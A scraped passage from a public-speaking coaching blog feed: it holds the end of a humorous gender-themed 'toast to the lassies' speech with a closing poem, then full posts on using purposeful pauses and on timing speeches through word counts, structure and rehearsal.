  • Women feel, while men take a more fact-based approach. We need both. Real facts are very important, even if it is emotions that swing decisions
  • Men are better at negotiating salaries and pay rises and who’d say no to a bit more money?
  • We problem-solve differently – girls like to talk things through and then act; men prefer to dive right in and fine tune as they go along.

We’re different and we can complement each other. We are stronger together.

Obviously, to make this work, there will have to be some clear red lines:

  • Women have the last word in any argument. Anything a man says after that is the beginning of a new argument
  • You need to understand the vocab:

When a woman says “Yes Dear. Fine.” It’s far from fine.

“Go ahead” means “Don’t you dare!”

“Oh you think so” means “think again.”

Men on the other hand have their very own nuanced speak that we girls also need to respect:

  • “Can we talk about this later?” … means “I never want to talk about it again!”
  • “If you don’t do it the way I’m telling you, you’ll regret it” means “I know best!”
  • And then there’s that stunning sense of direction, we know and love. “I know exactly where I am; the GPS isn’t working properly!” means “We’re lost!”

We need to be much more open and supportive of each other. But don’t forget, boys, the huge hippocampus – we girls remember everything!

Let’s move forward together. Ladies and Gentlemen, the toast:

Lift your cup and drain it well,
For these are truths that I do tell.
Without all sexes, teams are lacking,
Girls and boys must get our backing,
Other genders we must heed
Without them, how can we proceed
To make a world that’s right and fair?
Let’s drink to all and their constant care.

Lyn Roseaman

Toast to the Lassies

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]]> Pause with purpose for meaning, clarity and impact https://www.nowyouretalking.co.uk/2019/04/04/pause-with-purpose/ Thu, 04 Apr 2019 15:29:07 +0000 https://www.nowyouretalking.co.uk/?p=867 Pause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.” I love…

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]]> Pause buttonPause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.”

I love a good pause and there are many to choose from, each with its own particular purpose and impact.

Opening pause

This is my favourite and brings a number of important benefits:

First, saying nothing is attention grabbing, it won’t be long before your audience realises no one is talking and will stop what they are doing or thinking about and focus on you. Second, and a related benefit, your silence will pique their curiosity and make them wonder what will happen next. Third, you have the silent time to calm yourself, take a few deep breaths and ready yourself to speak. Fourth, this opening time allows you to gauge the room and get a sense of how the audience is feeling and whether you need to make any adjustments to, for instance, energy levels, engagement, interaction, etc.

To maximise the impact of the opening pause, it needs to last at least five seconds and be delivered with confidence, including a solid and stable stance and good eye contact with your listeners/audience.

Filler-free pause

Er, um, like and other little sounds that can creep into our speech, especially when we are nervous. The odd one here and there gives a sense of spontaneity and a relaxed, conversational style. However, too many can be annoying and even distract an audience from listening to what you have to say.

Taking a small breath will help you reduce the ers and ums and come across with greater clarity and confidence.

Creative pause

If you invite the audience to imagine, reflect, picture or create an image or situation, give them time to do that. They will conjure up their version of what you are asking them to imagine/picture, etc. This is not only much more vivid than you describing in great detail a scene from your life, but it also enables people to join you in your story, using their frameworks and experiences.

Reflective pause

When you are presenting some difficult or unfamiliar ideas, give your audience time to absorb what you have said. In similar vein, if you ask them a question (even a rhetorical question) or ask them to think about something, such as a choice, give them time to consider and decide where they stand.

Punchline pause

Pauses are an essential part of creating humour in a speech. This is especially the case with humour built on misdirection. This involves telling a joke, story or anecdote in a way that misdirects your audience to anticipate the next line. While you pause they complete the joke as they expect it to end. You then deliver a different outcome, surprising the audience and (hopefully) making them laugh. Without the pause, the listener doesn’t have time to consider what they expect you to say and the humorous moment is lost.

Dramatic pause

This is especially powerful in storytelling. By pausing, you heighten the tension in your story and keep your listeners fully engaged as they long to hear the outcome.

And, critically, don’t forget to remain silent while your audience laughs. If you cut them off by speaking over the laughter, the chances are that they won’t laugh again and you will have severed a compelling connection.

Punctuation pause

When you write, you punctuate with commas, full stops, etc. This invisible punctuation needs to be audible when we speak otherwise we can sound as if our words are running away with us. Some short pauses add to the clarity and control of your narrative.

Emphatic pause

If you want to bring some additional weight or gravitas to a word, phrase or point, pause and then speak at a lower pitch and slower pace. The silence signals the start of something different and the change in pitch and pace indicates the nature of the differentiation.

Word-congruent pause

Very similar to an emphatic pause, congruency uses pauses to reinforce words. For instance, “Hesitatingly [breathe], he moved forward” or “Wracked with pain, she paused [breathe] …” before continuing to speak.

Show-me pause

A picture paints a thousand words. As the speaker, you can become the picture and use facial expression to show your audience exactly how you feel about something. A pause while you show them is generally far more evocative and memorable than using narrative to describe the feeling.

Visual aids pause

For most of us, vision is our primary sense. This means that if you put up slides or other visual aids, we are more likely to look or read than to listen. As such, if you speak at this time, your words will almost certainly fall on deaf ears. Keep silent while people absorb the visuals and then continue with what you have to say.

Pause for thought

This is a moment you take to think about what you want to say when you find yourself faced with impromptu questions, eg Q&A, panels, job interviews, untabled questions in a meeting, etc. By pausing, you buy yourself some time to think about what you want to say and how you want to say it.

Petrified pause

So many ways to pause with purpose, but there is one that you don’t want in your speeches or presentations and that’s the petrified pause. Sometimes, when we’re really nervous, we can find our brain freezing and we simply can’t think what to say. Anxiously pausing and searching for words conveys a lack of confidence and perhaps a lack of preparation as well. In this situation, it is important to do some work on managing your nerves so that they generate positive energy for your talk.

Fortunately, pausing with purpose is generally powerful and positively impacts your speeches and presentations. The challenge is to deliver these pauses.

Practise pausing

When we are nervous, we tend to speak too quickly and pauses simply don’t happen. We need to get comfortable with using them. What feels like eternity from your standpoint in front of an audience, feels like no time at all to everyone else in the room.

When you are preparing and practising a speech or presentation, try to insert pauses and the appropriate length for each one. When you pause, count the number of seconds you have allowed. Record yourself and play back to see how long those silences really sound. Could some of them be longer to achieve their purpose? With practise, you will come to enjoy the impact of pausing with purpose.

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]]> Good timing – 3 steps to speaking to time https://www.nowyouretalking.co.uk/2019/03/22/good-timing/ Fri, 22 Mar 2019 17:56:46 +0000 https://www.nowyouretalking.co.uk/?p=856 We’ve all been on the receiving end of speeches that overrun. Timing it right means producing and delivering speeches and presentations that stay within the time you’ve been allocated. This shows respect for yourself, your audience and the event organisers,…

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]]> We’ve all been on the receiving end of speeches that overrun. Timing it right means producing and delivering speeches and presentations that stay within the time you’ve been allocated. This shows respect for yourself, your audience and the event organisers, as well as demonstrating that you are well prepared.

Speeches can overrun for many reasons, including starting late, unexpected disruptions, eg fire alarms, last-minute tech failures, etc. While you can do all the sensible checks, ultimately, these reasons tend to sit beyond your control as the speaker.

In contrast, the most common reasons for overrunning lie squarely within the speaker’s control and usually reflect a neglect to rehearse and time a speech before going live or simply a bad case of ‘infobesity‘ or trying to cram in too much. It is, of course, hard to leave things out when it’s a subject you care about and are eager to share ‘everything you know’ with your audience.

However, less is more in terms of sticking to time and less is definitely more for the audience. So, here are three steps to timing it right for speeches that keep everyone happy, timewise at least.

Timing counts – minutes and words

First, you need to decide how long you will speak for. You will have received a time allocation from the ‘event’ organiser.  But you don’t want to fill every minute. As a guide, reduce your time allocation by 15-20%. If you have a 10-minute slot, then aim to produce a speech that lasts about eight minutes.

This flexibility is essential for your audience that hasn’t heard your material before. They need time to absorb and reflect on what you are saying, time for unanticipated explanations or questions, as well as time to laugh when you make humorous remarks. In addition, it allows you time to adjust your speaking pace and gestures to reinforce your words. If you finish early, you can always take questions or simply stop. How often do you hear people complain about a speech being too short?

Second, convert the planned length in minutes into the approximate number of words you will need to fill that time. I typically aim for 80-100 words per minute when speaking in public. With this in mind, I know that if I have a 10-minute slot, I need to write approximately 800-1,000 words.

Speaking rate is highly individual. English conversational speed is about 120-150 words per minute (wpm); presentations about 100-150 wpm. Some of the most-viewed TED Talks have speaking rates between 154 wpm (Brené Brown, The Power of Vulnerability) and 201 wpm (Tony Robbins, Why we do what we do). The faster you speak, the greater the need for easy-to-understand language, very clearly articulated.

Record and time yourself giving a speech or presentation and calculate the wpm, try out an app or website, such as WordCounter, or invite friends or colleagues to give you feedback on your pace. This input will give you a fairly reliable guide for subsequent speeches.

Time to write – crafting your content

Getting the timing right begins when you’re drafting your speech or presentation. You know how long you have to speak and roughly how many words you need. This gives you a good indication of the appropriate breadth and depth of your material.

Purpose & message

Next you need to determine the purpose and message of your speech. What is the single main point you want to make? I find it helpful to write this down, in large letters, and keep the page in view while you are compiling your content. You then work backwards to outline of the essential information required to support your message – stories, data, quotes, etc. Don’t worry about any material being wasted; it might simply belong in a different speech or article.

Scrutinise all your material and evidence against your message. Anything you try to add that does not directly support your message does not make the cut.

Structure

Now, consider the structure of your speech. What is the most efficient route from your opening remarks to your core message? What is the optimum number of sections and sub-sections? How many examples? The more layers you introduce, the harder it is for your audience to follow what you’re saying and for you to keep to time. And, as we know, three works well, so wherever practicable, aim for three key points, sections or examples.

Signpost

Signposting also helps you ensure your speech flows easily and affords clarity to your audience. What will the next few minutes or ‘chunk’ of your speech cover and, at the end of that chunk, a few words summarising its main point … all building towards your core message.

If you tend to write out your speech in full, this is when you may find it useful to convert your script into ‘chunks’, with a keyword to remind you what you want to say. Chunks give you greater flexibility than a script to shorten your speech in real time if you find yourself overrunning.

Rehearse your timing

The process of presenting often takes longer than you expect, so it’s important to practise. Run through your speech  with a stopwatch, speaking (not reading) aloud. Make it as realistic as possible, using any visual aids, building in gestures, pauses and changes of pace. This rehearsal time will also help you iron out any wrinkles in your speech, such as awkward words or phrases, over-complex sentences, non-sequiturs and so on.

If you are using slides, factor in time for your audience to read any words that they contain. People read in preference to listening  so allow them time to do this before you start talking. This is a good reason for keeping text on slides to a minimum.

The more you rehearse, the more fluent and comfortable your delivery will become as you internalise what you want to say and finesse your word choice.

We tend to be poor judges of time. On the day, ask someone to flag key timing milestones or use your phone stopwatch to keep you on track.

3 steps to good timing

Three steps to good timing – determine the word count, craft message-driven content and rehearse – will leave a positive impression and earn you the heartfelt appreciation of your audience and your host.

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